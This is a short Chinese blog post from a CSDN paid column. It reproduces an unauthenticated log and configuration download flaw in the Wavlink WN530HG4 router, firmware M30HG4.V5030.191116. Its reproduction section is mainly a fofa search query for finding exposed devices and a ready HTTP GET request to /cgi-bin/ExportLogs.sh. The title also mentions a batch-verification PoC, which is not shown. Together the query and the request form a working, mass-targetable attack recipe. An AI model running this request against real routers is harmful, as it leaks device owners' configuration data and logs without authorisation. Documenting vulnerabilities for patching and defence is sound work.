Wavlink导出日志配置未授权访问下载（含批量验证poc）

今天晚上早睡觉

已于 2024-04-06 21:47:42 修改

阅读量48

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-06 21:47:33 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137439316

版权

漏洞复现专栏收录该内容

360 篇文章 160 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了Wavlink WN530HG4 M30HG4.V5030.191116版本存在的一个安全漏洞，该漏洞允许任何未经身份验证的用户下载日志和配置信息。通过特定的fofa搜索语法和Payload，可以复现此问题。

摘要由CSDN通过智能技术生成

1.漏洞介绍

Wavlink WN530HG4 M30HG4.V5030.191116 中的访问控制问题允许未经身份验证的攻击者下载日志文件和配置数据。

2.影响版本

Wavlink WN530HG4 M30HG4.V5030.191116

3.漏洞复现

fofa语法：

title="Wi-Fi APP Login"

Payload:

GET /cgi-bin/ExportLogs.sh HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: */*
Referer: http://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

了解本专栏